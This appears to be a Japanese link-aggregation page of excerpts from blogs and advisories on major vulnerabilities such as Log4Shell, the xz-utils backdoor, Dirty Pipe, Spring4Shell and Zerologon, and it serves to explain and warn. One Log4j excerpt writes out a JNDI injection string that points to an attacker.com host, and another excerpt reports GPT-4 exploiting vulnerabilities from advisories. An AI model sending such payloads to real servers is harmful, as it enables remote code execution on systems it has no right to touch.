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  • Log4jの深刻な脆弱性CVE-2021-44228についてまとめてみた - piyolog

    2021年12月10日、Javaベースのログ出力ライブラリ「Apache Log4j」の2.x系バージョン(以降はLog4j2と記載)で確認された深刻な脆弱性を修正したバージョンが公開されました。セキュリティ関係組織では過去話題になったHeartbleedやShellshockと同レベルの脆弱性とも評価しています。ここでは関連する情報をまとめます。 1.何が起きたの? Javaベースのログ出力ライブラリLog4j2で深刻な脆弱性(CVE-2021-44228)を修正したバージョンが公開された。その後も修正が不完全であったことなどを理由に2件の脆弱性が修正された。 広く利用されているライブラリであるため影響を受ける対象が多く存在するとみられ、攻撃が容易であることから2014年のHeartbleed、Shellshock以来の危険性があるとみる向きもあり、The Apache Software

      Log4jの深刻な脆弱性CVE-2021-44228についてまとめてみた - piyolog
    • XZ Utilsの脆弱性 CVE-2024-3094 についてまとめてみた - piyolog

      2024年3月29日、Linux向け圧縮ユーティリティとして広く利用されているXZ Utilsに深刻な脆弱性 CVE-2024-3094 が確認されたとして、研究者やベンダがセキュリティ情報を公開しました。この脆弱性は特定の条件下においてバックドアとして悪用される恐れがあるものとみられており、当該ソフトウエアのメンテナのアカウントにより実装されたソフトウエアサプライチェーン攻撃の可能性が指摘されています。ここでは関連する情報をまとめます。 脆弱性の概要 xzとは主要なLinuxディストリビューションに含まれる汎用的なデータ圧縮形式で、今回問題が確認されたのはその圧縮・解凍ユーティリティであるliblzma(API)を含むXZ Utils。CVE-2024-3094が採番されており、Red Hatによって評価されたCVSS基本値はフルスコアの10。影響を受けたライブラリをリンクしているssh

        XZ Utilsの脆弱性 CVE-2024-3094 についてまとめてみた - piyolog
      • sudoの脆弱性情報(Important: CVE-2021-3156 : Baron Samedit) - SIOS SECURITY BLOG

        OSSに関するセキュリティ・ツールの使い方・脆弱性等を紹介しています。 SELinux/Capability/AntiVirus/SCAP/SIEM/Threat Intelligence等。 OSS脆弱性ブログ01/27/2021にsudoの脆弱性情報(Important: CVE-2021-3156 : Baron Samedit)が公開されています。どのローカルユーザでもパスワード認証を経ずに特権昇格が出来るため、一度ローカルユーザのターミナルを開くことが出来れば権限昇格できてしまうという強烈なものです。今回はこちらの脆弱性の概要と、各ディストリビューションの対応について簡単にまとめてみます。 【01/27/2021 10:30更新】Amazon Linuxのリンク(ALSA-2021-1478)も加えました。また、詳細情報を追記しました。 【01/27/2021 14:30更新】O

          sudoの脆弱性情報(Important: CVE-2021-3156 : Baron Samedit) - SIOS SECURITY BLOG
        • 20分で分かるDirty Pipe(CVE-2022-0847) - knqyf263's blog

          極限まで詳細を省けば何とか20分で雰囲気だけでも伝えられるんじゃないかと思って書きました。書き終えてから見返したら多分無理なので誇大広告となったことを深くお詫び申し上げます。 背景 概要 脆弱性の影響 ページキャッシュやsplice パイプ マージの可否 下準備 攻撃手順 まとめ 背景 先日Dirty PipeというLinuxカーネルの脆弱性が公表されました。 dirtypipe.cm4all.com Linuxのパイプに関する脆弱性なのですが、仕組みは意外とシンプルでぎりぎりブログでも伝わるかもしれないと思ったので自分の理解を書きました。あといつも細かく書きすぎて長くなるので、今回は雰囲気だけでも伝わるようにとにかく説明を簡略化し、ふわっとした概要だけでも理解してもらえるように頑張りました。その結果、若干正確性に欠ける部分があるかもしれませんがお許しください。細かい部分はまた別の記事でま

            20分で分かるDirty Pipe(CVE-2022-0847) - knqyf263's blog
          • Dirty Pipe(CVE-2022-0847)の発見経緯が面白かった - knqyf263's blog

            最初に断っておくと今回は万人向けの記事ではないです。面白かったので自分が忘れないようにまとめているだけです。 本記事の位置付け はじめに 発見経緯 CRCのエラー HTTPアクセスログ 壊れたgzipのtrailerを見てみる 壊れたファイルの法則性 月次ログファイルの生成 Linuxカーネルのバグの可能性 バグ混入の歴史 ログ破損の原因 8バイトの謎 PoCの制約 まとめ 本記事の位置付け Dirty Pipe(CVE-2022-0847)三部作の最後です。ダークナイト三部作で言うとダークナイト ライジングにあたります。ダーティとダークって似てませんか。 spliceを使って高速・省メモリでGzipからZIPを作る 20分で分かるDirty Pipe(CVE-2022-0847) Dirty Pipe(CVE-2022-0847)の発見経緯が面白かった(本記事) 上の1, 2を前提知識と

              Dirty Pipe(CVE-2022-0847)の発見経緯が面白かった - knqyf263's blog
            • Spring Frameworkの脆弱性 CVE-2022-22965(Spring4shell)についてまとめてみた - piyolog

              2022年3月31日、Spring Frameworkに致命的な脆弱性が確認され、修正版が公開されました。ここでは関連する情報をまとめます。 1.何が起きたの? JDK9以上で実行されるSpringMVC、SpringWebFluxでリモートコード実行が可能な脆弱性(CVE-2022-22965)が確認された。脆弱性の通称にSpring4shellまたはSpringShellが用いられている。 Spring FrameworkはJavaで採用される主流なフレームワークの1つのため、Javaで実行されるWebアプリケーションで利用している可能性がある。 2022年3月31日時点で脆弱性のExploitコードが出回っており、関連するインターネット上の活動が既に報告されている。 2.脆弱性を悪用されると何が起きるの? 脆弱性を悪用された場合、リモートから任意コード実行が行われることで、機密情報の

                Spring Frameworkの脆弱性 CVE-2022-22965(Spring4shell)についてまとめてみた - piyolog
              • 【図解】Log4jの脆弱性 CVE-2021-44228 (Log4shell or LogJam) について

                JNDI とはJava Naming and Directory Interface という、Java アプリケーションが DNS や LDAP 等のサービスを利用するための汎用的なインタフェース (ライブラリ) です。 Log4j と JNDI lookupApache Software Foundation が開発した、Java ベースのロギングに関するライブラリです。JNDI lookup という機能があり、書き込んだログの一部を自動で変数化します。今回はこの機能が悪用されています。 CVE-2021-44228 の攻撃シーケンスの例 攻撃者は脆弱性をトリガーするために http ヘッダの User-Agent に ${jndi:ldap://attacker.com/a} という文字列を埋め込み、http リクエストを送信します。脆弱性のあるサーバの Java App はその通信を

                  【図解】Log4jの脆弱性 CVE-2021-44228 (Log4shell or LogJam) について
                • ドメインコントローラーがのっとられる脆弱性 Zerologon(CVE-2020-1472)についてまとめてみた - piyolog

                  2020年8月に修正された脆弱性 CVE-2020-1472はドメインコントローラーが使用するNetlogon リモートプロトコルに欠陥が見つかったもので、その内容からZerologonとも呼称されています。Microsoftをはじめ、セキュリティ組織は深刻な脆弱性であることから早急な対応を行う様呼び掛けています。ここでは関連する情報をまとめます。 Zerologonって何? Windows が実装する Netlogon リモートプロトコル (MS-NRPC)に発見された脆弱性の名前。 脆弱性悪用を通じてパスワードが変更されドメイン管理者権限の取得が行われる恐れあり。 9月11日に技術情報と実証コードが公開され、9月24日には攻撃に悪用されたとMicrosoftが注意喚起。 8月12日に脆弱性に対応するセキュリティ更新プログラムが公開済。非Winデバイス互換性への考慮から2段階に分け対応が

                    ドメインコントローラーがのっとられる脆弱性 Zerologon(CVE-2020-1472)についてまとめてみた - piyolog
                  • マイクラもハッキング ~「Apache Log4j」ライブラリに致命的なリモートコード実行のゼロデイ脆弱性【12月10日18:45追記】/「CVE-2021-44228」のCVE番号が割り当てられる予定。かなり広範囲に影響か。【やじうまの杜】

                      マイクラもハッキング ~「Apache Log4j」ライブラリに致命的なリモートコード実行のゼロデイ脆弱性【12月10日18:45追記】/「CVE-2021-44228」のCVE番号が割り当てられる予定。かなり広範囲に影響か。【やじうまの杜】
                    • Windows CryptoAPIの脆弱性によるECC証明書の偽造(CVE-2020-0601) - ぼちぼち日記

                      1. はじめに つい先日のWindowsのセキュリティアップデートでWindowsのCryptoAPIの楕円曲線暗号処理に関連した脆弱性の修正が行われました。 「CVE-2020-0601 | Windows CryptoAPI Spoofing Vulnerability」 これがまぁ世界の暗号専門家を中心にセキュリティ業界を驚かせ、いろいろ騒がしています。 その驚きの一つは、この脆弱性の報告者がNSA(米国家安全保障局)だったことです。NSAはMicrosoftのアナウンスとは別により詳しい内容でこの脆弱性を警告するアナウンスを出しています。 「Patch Critical Cryptographic Vulnerability in Microsoft Windows Clients and Servers」 これまで数々の諜報活動をインターネット上で行ってきたNSAが、この脆弱性を

                        Windows CryptoAPIの脆弱性によるECC証明書の偽造(CVE-2020-0601) - ぼちぼち日記
                      • 標的型攻撃で悪用されたInternet Explorerの未修正の脆弱性CVE-2020-0674についてまとめてみた - piyolog

                        2020年1月17日、MicrosoftはInternet Explorerに深刻な脆弱性が存在し発表時点でまだ修正中であることを明らかにしました。ここでは関連する情報をまとめます。 1.概要編 ① いま何が起きているの?(1月17日時点) サポートされている全てのInternet Explorerに深刻な脆弱性。脆弱性はCVE-2020-0674が採番。1月11日時点のCVSSスコア(現状値)は7.1。 17日時点で修正中であり更新プログラムが公開されていない。限定的ながらこの脆弱性を悪用する攻撃が確認されている。 2020年1月14日にサポート期限を迎えたばかりのWindows 7も影響を受ける。更新プログラムの提供は明記がないが、Microsoftが発表した対象のリストに含まれている。 ② この脆弱性の影響を受けるとどうなるの? リモートから任意のコード実行が可能な脆弱性が存在し、悪

                          標的型攻撃で悪用されたInternet Explorerの未修正の脆弱性CVE-2020-0674についてまとめてみた - piyolog
                        • xzの脆弱性(バックドア埋め込み: Critical: CVE-2024-3094) - SIOS SECURITY BLOG

                          03/29/2024にxzの脆弱性(バックドア埋め込み: Critical: CVE-2024-3094)が公開されました。Fedora Linux 40beta, Fedora rawhide, Debian unstable等の一部のOpenSSHにも使われており、バックドアを利用してログインが出来る状態だったという話も出ています。ソフトウェアサプライチェーン攻撃の一つとも捉えられており、いずれSBOMと関係する話として取り上げられると思います。 (SBOMの話、VEXの話はこちら)。 今回はこちらの脆弱性の概要と、各ディストリビューションの対応について纏めます。 【04/01/2024 09:45更新】情報が纏まっているサイトを更新しました。また、piyologさんからリンクを貼っていただいていたので、こちらも載せています。その他、「xz –version」を実行するのもだめという話

                            xzの脆弱性(バックドア埋め込み: Critical: CVE-2024-3094) - SIOS SECURITY BLOG
                          • laravelのヤバい脆弱性をついたkinsing(kdevtmpfsi)というマルウェアに感染した話 CVE-2021-3129 - Qiita

                            laravelのヤバい脆弱性をついたkinsing(kdevtmpfsi)というマルウェアに感染した話 CVE-2021-3129PHPSecurityLaravelkinsingkdevtmpfsi webサーバー上でlaravelを動かしていれば、ちょっとした設定のミスで誰でもマルウェアに感染する可能性がある激ヤバセキュリティホール(CVE-2021-3129)が2021年1月20日に報告されています! composerでインストールしたパッケージをバージョンアップせずに使っていませんか? インターネット上に公開されているサーバー、特にステージングや開発環境でDEBUG=ONにしていませんか? エラー画面がこんな風に見えますか? この3つの条件を満たしていると、あなたのlaravelは、今すぐにでもマルウェアに感染する可能性があります。 laravelの脆弱性をついたkinsing(k

                              laravelのヤバい脆弱性をついたkinsing(kdevtmpfsi)というマルウェアに感染した話 CVE-2021-3129 - Qiita
                            • KeyTrap (CVE-2023-50387)を検証してみた - knqyf263's blog

                              DNSは趣味でやっているだけですし有識者のレビューを経ているわけでもないので誤りを含むかもしれませんが、DNS界隈には優しい人しかいないのできっと丁寧に指摘してくれるはずです。 追記:めちゃくちゃ丁寧にレビューしていただいたので修正いたしました。森下さんほどの方に細かく見ていただいて恐れ多いです...(学生時代に某幅広合宿で森下さんの発表を見てDNSセキュリティに興味を持った) 4万文字を超える大作、おつかれさまです。わかりやすく書けていると思いました。 ざっと読んで、コメントしてみました。ご参考まで。https://t.co/bVj5WeFHQr https://t.co/ku5NOx6ua8— Yasuhiro Morishita (@OrangeMorishita) 2024年2月19日 要約 背景 詳細 DNSSECとは? DNSSECの可用性 鍵タグの衝突 攻撃内容 SigJam

                                KeyTrap (CVE-2023-50387)を検証してみた - knqyf263's blog
                              • Apache Log4jの任意のコード実行の脆弱性(CVE-2021-44228)に関する注意喚起

                                JPCERT-AT-2021-0050 JPCERT/CC 2021-12-11(新規) 2022-01-04(更新) I. 概要 更新: 2022年1月4日記載 現時点で不明な点もあることから、今後の動向次第で下記掲載内容を修正、更新する予定がありますので、関連情報への注視のほか、本注意喚起の更新内容も逐次ご確認ください。 次の更新を行いました。詳細は「III. 対策」を参照してください。 - Apache Log4jのバージョン2.17.1(Java 8以降のユーザー向け)、2.12.4(Java 7のユーザー向け)及び2.3.2(Java 6のユーザー向け)が公開されました JavaベースのオープンソースのロギングライブラリのApache Log4jには、任意のコード実行の脆弱性(CVE-2021-44228)があります。Apache Log4jが動作するサーバーにおいて、遠隔の第三

                                  Apache Log4jの任意のコード実行の脆弱性(CVE-2021-44228)に関する注意喚起
                                • xzにバックドアが混入した件のまとめ(CVE-2024-3094) - Qiita

                                  本記事は4月3日21:30(JST)時点で判明している事実をまとめたものです。誤りがあればコメントでお知らせください。 本記事には誤りが含まれている可能性があります。 新しい情報があれば随時更新します。 ** 4/2 18:30 Q&Aを追加しました。 4/2 11:30 実際にバックドアが存在する環境を作成し、攻撃可能なこと、出力されるログ等について追記しました。また、攻撃可能な人物は秘密鍵を持っている必要があることを追記しました。** ところどころに考察を記載しています。 事実は~です。~であると断定し、考察、推測、未確定情報は考えられる、可能性があるなどの表現としています。 またpiyokango氏のまとめ、JPCERT/CCの注意喚起もご覧ください。 なお、各国のCSIRTまたは関連組織による注意喚起の状況は以下のとおりで、アドバイザリを出している国は少ない状況です。 概要 問題の

                                    xzにバックドアが混入した件のまとめ(CVE-2024-3094) - Qiita
                                  • CVE-2022-3786 and CVE-2022-3602: X.509 Email Address Buffer Overflows - OpenSSL Blog

                                    Today we published an advisory about CVE-2022-3786 (“X.509 Email Address Variable Length Buffer Overflow”) and CVE-2022-3602 (“X.509 Email Address 4-byte Buffer Overflow”). Please read the advisory for specific details about these CVEs and how they might impact you. This blog post will address some common questions that we expect to be asked about these CVEs. Q: The 3.0.7 release was announced as

                                    • xz-utils backdoor situation (CVE-2024-3094)

                                      xz-backdoor.md FAQ on the xz-utils backdoor (CVE-2024-3094) This is still a new situation. There is a lot we don't know. We don't know if there are more possible exploit paths. We only know about this one path. Please update your systems regardless. This is a living document. Everything in this document is made in good faith of being accurate, but like I just said; we don't yet know everything abo

                                        xz-utils backdoor situation (CVE-2024-3094)
                                      • 求む!TLS1.3の再接続を完全に理解した方(Challenge CVE-2020-13777) - ぼちぼち日記

                                        1. GnuTLSの深刻な脆弱性(CVE-2020-13777) 先日、GnuTLSで深刻な脆弱性が見つかりました。 GNUTLS-SA-2020-06-03: CVE-2020-13777 It was found that GnuTLS 3.6.4 introduced a regression in the TLS protocol implementation. This caused the TLS server to not securely construct a session ticket encryption key considering the application supplied secret, allowing a MitM attacker to bypass authentication in TLS 1.3 and recover previous c

                                          求む!TLS1.3の再接続を完全に理解した方(Challenge CVE-2020-13777) - ぼちぼち日記
                                        • Apache HTTP Server の深刻な脆弱性CVE-2021-41773とCVE-2021-42013についてまとめてみた - piyolog

                                          2021年10月4日(現地時間)、Apache HTTP Serverの深刻な脆弱性を修正したバージョンが公開されました。同ソフトウエアの開発を行うThe Apache Software Foundationは既に脆弱性を悪用する活動を確認していると報告しています。ここでは関連する情報をまとめます。 何が起きたの? Webサーバーソフトウエア「Apache HTTP Server」の特定バージョン(2.4.49)において、深刻な脆弱性(CVE-2021-41773)を修正したバージョン(2.4.50)が公開された。また、修正前より悪用する動きがThe Apache Software Foundationによって確認されていた。 脆弱性の修正が行われた2日後、修正方法が不十分で継続して攻撃が可能であったこと、さらに再度脆弱性の影響が評価された結果深刻度が最高となり、修正版(2.4.51)がリ

                                            Apache HTTP Server の深刻な脆弱性CVE-2021-41773とCVE-2021-42013についてまとめてみた - piyolog
                                          • Docker、これまでで最も深刻な cp コマンドの脆弱性CVE-2019-14271を修正

                                            By Yuval Avrahami November 19, 2019 at 10:35 PM Category: Cloud, Unit 42 Tags: container breakout, container escape, containers, CVE-2019-14271, Docker, exploit, vulnerabilities This post is also available in: English (英語) 概要 ここ数年、Docker、Podman、Kubernetesを含むさまざまなコンテナプラットフォームで、copyコマンド(cp)の脆弱性が複数確認されてきました。それらの中で最も深刻なものはこの7月というごく最近発見・開示されたものです。驚くべきことに、CVEの説明内容があいまいだったこと、公開されたエクスプロイトがなかったことなどの理由から、本脆

                                              Docker、これまでで最も深刻な cp コマンドの脆弱性CVE-2019-14271を修正
                                            • PHPの脆弱性CVE-2018-17082はApacheの脆弱性CVE-2015-3183を修正したら発現するようになったというお話

                                              最近自宅引きこもりで時間ができたので、YouTube動画を投稿するようになりました。みんな見てねー。 徳丸浩のウェブセキュリティ講座 そんなことで、次の動画は、お気に入りのPHPの脆弱性 CVE-2018-17082 を取り上げようと思ったんですよ。表向きXSSで出ているけど、金床さんのツッコミにもあるように、実はHTTP Request Smuggling(HRS)だというやつです。でね、下準備であらためて調べていると、なんかよく分からない挙動がワラワラと出てくる。なんじゃ、こりゃ。CVE-2018-17082 全然分からない。僕は気分で CVE-2018-17082 を扱っている… で、雑に整理すると、以下のような感じなんです。 古い環境だとCVE-2018-17082は発現しない(2015年以前) 少し古い環境だとCVE-2018-17082は発現する 新しい環境だとCVE-2018

                                              • 既に攻撃発生中で緊急対応レベルなCitrix製品の脆弱性CVE-2019-19781についてまとめてみた - piyolog

                                                2019年12月17日に脆弱性情報が公開されたCitritx製品「Citrix Application Delivery Controller」「Citrix Gateway」「Citrix SD-WAN WANOP」において、2020年1月に入ってから探査活動が発生し、11日頃この脆弱性を検証できる実証コードも公開されました。この脆弱性を既に悪用する動きも活発化しています。ここでは関連する情報をまとめます。 1.概要編 ① いま何が起きてるの?(1月17日時点) 話題となっているのは2019年12月にCitrixが情報公開した脆弱性 CVE-2019-19781。CERT/CCが評価した1月11日時点のCVSSスコア(現状値)は9.5。*1 年明け早々に脆弱性探査活動が発生していると報告あり。製品は国内外に複数存在する。1月11日に入り攻撃手法の詳細が公開され誰でも試せる状態となった。

                                                  既に攻撃発生中で緊急対応レベルなCitrix製品の脆弱性CVE-2019-19781についてまとめてみた - piyolog
                                                • VS Codeで任意コード実行が可能だった脆弱性から学ぶ、Electron開発の注意点(CVE-2021-43908) - Flatt Security Blog

                                                  初めに こんにちは。株式会社Flatt Security セキュリティエンジニアの石川です。 近年、クロスプラットフォームなデスクトップアプリケーションを作成する上で、Electronを採用することが選択肢の1つになってきています。 Electronの開発では、ライブラリとしてのElectronの実装と、その上にユーザーが構築するデスクトップアプリケーションの2つのコードが存在します。デスクトップアプリケーションの実装においても、メインプロセスとレンダラープロセス、サブフレームなど、考慮すべき概念が多数存在します。 そこで本稿では、Electronのアーキテクチャを意識しながら、実際に発見された脆弱性の傾向について考察することで、 Electron開発者が開発時に気を付けるべき点とその緩和策について、セキュリティの観点から記述していきます。 その上で、一例として、2022年のBlack H

                                                    VS Codeで任意コード実行が可能だった脆弱性から学ぶ、Electron開発の注意点(CVE-2021-43908) - Flatt Security Blog
                                                  • 脆弱性に附番されるCVE番号を管理する「cve.mitre.org」がリニューアルへ/新サイト「cve.org」への移行が進む【やじうまの杜】

                                                      脆弱性に附番されるCVE番号を管理する「cve.mitre.org」がリニューアルへ/新サイト「cve.org」への移行が進む【やじうまの杜】
                                                    • 「CVEのデータだけに頼った脆弱性管理」では不十分【海外セキュリティ】

                                                        「CVEのデータだけに頼った脆弱性管理」では不十分【海外セキュリティ】
                                                      • 警告 (CVE-2022-23812): ウクライナ侵攻の抗議目的で peacenotwar モジュールが node-ipc パッケージを通じて npm 開発者を妨害 - Qiita

                                                        警告 (CVE-2022-23812): ウクライナ侵攻の抗議目的で peacenotwar モジュールが node-ipc パッケージを通じて npm 開発者を妨害JavaScriptSecurity脆弱性Snyk 本記事は2022年3月16日に発表した弊社の英語ブログAlert: peacenotwar module sabotages npm developers in the node-ipc package to protest the invasion of Ukraineを日本語化した内容です。 2022年3月15日、人気の JavaScript フロントエンドフレームワーク Vue.js のユーザーは、npm のエコシステムに対するサプライチェーン攻撃に見舞われました。これは、パッケージ node-ipc とそこから参照されている peacenotwar に対して、node

                                                          警告 (CVE-2022-23812): ウクライナ侵攻の抗議目的で peacenotwar モジュールが node-ipc パッケージを通じて npm 開発者を妨害 - Qiita
                                                        • Apache HTTP Server 2.4.50におけるパストラバーサル脆弱性(CVE-2021-42013)の発見

                                                          2021年10月6日に、CVE-2021-41773の修正を含むApache HTTP Server 2.4.50がリリースされました。 当該CVEはパストラバーサルの脆弱性であり、この脆弱性が悪用されるとDocumentRoot外にあるファイルが、インターネットから閲覧される可能性があります。なおこの脆弱性はApache HTTP Server 2.4.49のみに存在するものであり、それより古いバージョンには影響しません SOCでは、10月6日より当該CVEを狙った通信をお客様環境にて観測しています。 当該CVEを狙ったスキャン通信の例を図-1に示します。 図-1 CVE-2021-41773の有無を確認するスキャン通信例 Apache HTTP Serverのシェア率の高さや攻撃の容易さなどを鑑み、筆者の所属する解析チームにて本脆弱性を検証し、詳細を確認しました。 確認時点では既に攻撃

                                                            Apache HTTP Server 2.4.50におけるパストラバーサル脆弱性(CVE-2021-42013)の発見
                                                          • 脆弱性にIDを割り振って管理する「CVE」のシステムには欠陥があるという指摘

                                                            情報セキュリティの欠陥となる脆弱(ぜいじゃく)性が発見されると、CVE(Common Vulnerabilities and Exposures:共通脆弱性識別子)という識別IDが与えられ、重大度が評価された上でリスト化されます。このCVEのシステムに大きな問題があると、転送ライブラリであるcURLのメンテナーであるダニエル・ステンバーグ氏が自身のブログで疑問を提起しています。 CVE-2020-19909 is everything that is wrong with CVEs | daniel.haxx.se https://daniel.haxx.se/blog/2023/08/26/cve-2020-19909-is-everything-that-is-wrong-with-cves/ 2023年8月25日、ステンバーグ氏はcURLのメーリングリストで、「最近cURL関連の脆弱

                                                              脆弱性にIDを割り振って管理する「CVE」のシステムには欠陥があるという指摘
                                                            • cve-2022-22965 Spring4Shell の影響調査 | DevelopersIO

                                                              はじめに こむろです。 Spring4Shell についてです。どうせお前ら調査してたんだろ?と思ったあなた、大正解です。 結論 非常に広範な影響がありましたが、現時点で、Spring Framework 本体への修正パッチがすでに適用されています。そのためこれに準じたアップデートを実施することで脆弱性を回避できます。 spring-boot-2-6-6 spring-boot-2-5-12 spring-framework-5.3.18 Tomcat 9.0.62 またこれらのアップデートができない場合、以下の対応を取ることもできます。 不要なパラメータのマッピングを行わないようにコードを追加する (Binding のブラックリストへ class.* 系を追加) Java8 へ一旦ダウングレードする Tomcat 9.0.62 へ Update することで設定値自体の書き換えをできないよ

                                                                cve-2022-22965 Spring4Shell の影響調査 | DevelopersIO
                                                              • JavaのLog4jライブラリで「Log4Shell」に加えて新たな脆弱性「CVE-2021-45046」が発覚、アップデートで対応可能

                                                                Javaのログ出力ライブラリであるLog4jで、任意のコードをリモート実行される深刻な脆弱(ぜいじゃく)性・CVE-2021-44228、通称「Log4Shell」が発見されました。Log4jを提供するApacheソフトウェア財団(ASF)は、さらに新たな脆弱性・CVE-2021-45046が発覚したと報告しており、Log4jをバージョン2.16.0以降にアップデートするように呼びかけています。 CVE - CVE-2021-45046 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046 CVE-2021-45046- Red Hat Customer Portal https://access.redhat.com/security/cve/cve-2021-45046 Log4Shell Update: Secon

                                                                  JavaのLog4jライブラリで「Log4Shell」に加えて新たな脆弱性「CVE-2021-45046」が発覚、アップデートで対応可能
                                                                • 定例外で修正されたSMBv3の脆弱性(CVE-2020-0796)についてまとめてみた - piyolog

                                                                  MicrosoftはWindowsのSMBv3に深刻な脆弱性(CVE-2020-0796)が存在するとして定例外で更新プログラムKB4551762を公開しました。ここでは関連する情報をまとめます。 この脆弱性は何? Windows 10 など最新のOSに実装されているMicrosoft Server Message Block 3.1.1プロトコル(SMBv3)に脆弱性が確認された。 この脆弱性により、リモートから任意のコードを実行できる可能性がある。 Microsoftは脆弱性深刻度を「緊急」(Critical)と評価しており、3月12日に定例外で修正プログラムを公開した。 脆弱性はCVE-2020-0796が採番。JPCERT/CCによるCVSS(基本値)スコアは9.8(v3)*1 何故深刻な(話題となった)の? 2017年以降多数の被害が発生したWannaCryのようなワーム型プログ

                                                                    定例外で修正されたSMBv3の脆弱性(CVE-2020-0796)についてまとめてみた - piyolog
                                                                  • ウイルスバスター ビジネスセキュリティの脆弱性 (CVE-2020-8468) に関する注意喚起

                                                                    JPCERT-AT-2020-0013 JPCERT/CC 2020-03-16(新規) 2020-03-18(更新) I. 概要2020年3月16日、トレンドマイクロ株式会社から、ウイルスバスター ビジネスセキュリティの脆弱性 (CVE-2020-8468) に関する注意喚起が示されました。トレンドマイクロ株式会社によれば、本脆弱性は既に攻撃に悪用されているとのことです。 トレンドマイクロ株式会社 【注意喚起】ウイルスバスター ビジネスセキュリティの脆弱性(CVE-2020-8468)を悪用した攻撃を確認したことによる最新修正プログラム適用のお願い https://appweb.trendmicro.com/SupportNews/NewsDetail.aspx?id=3729 脆弱性 (CVE-2020-8468) が悪用された場合、攻撃者が、ウイルスバスター ビジネスセキュリティエー

                                                                      ウイルスバスター ビジネスセキュリティの脆弱性 (CVE-2020-8468) に関する注意喚起
                                                                    • Microsoft サポート診断ツールの脆弱性 (CVE-2022-30190) についてまとめてみた - piyolog

                                                                      2022年5月30日(現地時間)、Microsoft サポート診断ツール(MSDT)にリモートからコード実行が可能な脆弱性が確認されたとしてMicrosoftは セキュリティ情報を公開しました。文書ファイルを通じた攻撃が可能であり、条件が揃えば攻撃対象者の特定の操作を必要とせずファイルをプレビューするのみで影響を受ける可能性があります。ここでは関連する情報をまとめます。 1.何が起きたの? Windowsのツールの1つであるMicrosoft Windows Support Diagnostic Tool(Microsoft サポート診断ツール、略称MSDT)で深刻な脆弱性(CVE-2022-30190)のセキュリティ情報が公開された。また2022年6月15日まで修正する更新プログラムが公開されていないゼロデイの状態だった。 MSDTはWord等の文書ファイルからも呼び出しが可能であり、細

                                                                        Microsoft サポート診断ツールの脆弱性 (CVE-2022-30190) についてまとめてみた - piyolog
                                                                      • OpenAIのGPT-4はCVEのセキュリティ勧告を読むことで実際の脆弱性を悪用できることが明らかに

                                                                        OpenAIが開発する大規模言語モデル(LLM)のGPT-4は、一般公開されている脆弱(ぜいじゃく)性を悪用してサイバー攻撃を成功させることが可能であることが最新の研究により明らかになりました。 [2404.08144] LLM Agents can Autonomously Exploit One-day Vulnerabilities https://arxiv.org/abs/2404.08144 GPT-4 can exploit real vulnerabilities by reading advisories • The Register https://www.theregister.com/2024/04/17/gpt4_can_exploit_real_vulnerabilities/ LLM Agents can Autonomously Exploit One-da

                                                                          OpenAIのGPT-4はCVEのセキュリティ勧告を読むことで実際の脆弱性を悪用できることが明らかに
                                                                        • CVE-2022-21449: Psychic Signatures in Java

                                                                          The long-running BBC sci-fi show Doctor Who has a recurring plot device where the Doctor manages to get out of trouble by showing an identity card which is actually completely blank. Of course, this being Doctor Who, the card is really made out of a special “psychic paper“, which causes the person looking at it to see whatever the Doctor wants them to see: a security pass, a warrant, or whatever.

                                                                            CVE-2022-21449: Psychic Signatures in Java
                                                                          • Netflix報告: Linux Kernel又はFreeBSDのリモートから攻撃可能な脆弱性(TCP SACK PANIC) (CVE-2019-11477, CVE-2019-11478, CVE-2019-11479, CVE-2019-5599) - SIOS SECURITY BLOG

                                                                            OSSに関するセキュリティ・ツールの使い方・脆弱性等を紹介しています。 SELinux/Capability/AntiVirus/SCAP/SIEM/Threat Intelligence等。

                                                                              Netflix報告: Linux Kernel又はFreeBSDのリモートから攻撃可能な脆弱性(TCP SACK PANIC) (CVE-2019-11477, CVE-2019-11478, CVE-2019-11479, CVE-2019-5599) - SIOS SECURITY BLOG
                                                                            • sudoの脆弱性情報(Important: CVE-2019-14287)と新バージョン(1.8.28) - SIOS SECURITY BLOG

                                                                              OSSに関するセキュリティ・ツールの使い方・脆弱性等を紹介しています。 SELinux/Capability/AntiVirus/SCAP/SIEM/Threat Intelligence等。 OSS脆弱性ブログ10/02/2019にsudoの脆弱性情報(Important: CVE-2019-14287)と新バージョン(1.8.28)が公開されています。今回はこちらの脆弱性の概要と、各ディストリビューションの対応について簡単にまとめてみます。また、本件の発生条件(何故「ALL」が絡んだ場合のみ発生するのか)をソースコードレベルで追いかけた記事を@ITで公開しました。

                                                                                sudoの脆弱性情報(Important: CVE-2019-14287)と新バージョン(1.8.28) - SIOS SECURITY BLOG
                                                                              • cgroupsに影響するLinuxの新たな脆弱性CVE-2022-0492 コンテナエスケープの条件は

                                                                                By Yuval Avrahami March 3, 2022 at 5:09 PM Category: Cloud Tags: containers, CVE-2022-0492, Linux, vulnerabilities This post is also available in: English (英語) 概要 2022年2月4日、Linuxはカーネルにおける新たな特権昇格脆弱性CVE-2022-0492を公表しました。CVE-2022-0492はコンテナの基本構成要素であるLinuxの機能、コントロールグループ(cgroup)における論理バグです。この問題は最近発見されたLinuxの権限昇格脆弱性のなかでもとりわけその単純さできわだつもので、「Linuxカーネルが誤って特権的オペレーションを非特権ユーザーに公開してしまった」という内容になっています。 さいわい、ほとんどのコン

                                                                                  cgroupsに影響するLinuxの新たな脆弱性CVE-2022-0492 コンテナエスケープの条件は
                                                                                • Ruby cgi gemのHTTPヘッダインジェクション脆弱性CVE-2021-33621の概要と発見の経緯

                                                                                  この記事はRuby Advent Calendar 2022の第20日の記事です。前日の記事は@ydahさんによる「RuboCopのバージョンを最新に保つ技術」でした。 2022年11月22日に、Ruby cgi gemのHTTPヘッダインジェクション脆弱性CVE-2021-33621が発表がされました。 CVE-2021-33621: HTTP response splitting in CGI RubyのCGIライブラリにHTTPレスポンス分割脆弱性があり、秘密情報が漏洩する - HackerOne CGI::Cookieクラスにおけるセキュリティ上好ましくない仕様および実装 - HackerOne 私はHackerOneを通じてこの脆弱性を報告しました。この記事では、当該脆弱性の概要と発見の経緯などについて報告します。 概要 脆弱性発見の経緯 影響を受けるアプリケーション 影響 対策

                                                                                    Ruby cgi gemのHTTPヘッダインジェクション脆弱性CVE-2021-33621の概要と発見の経緯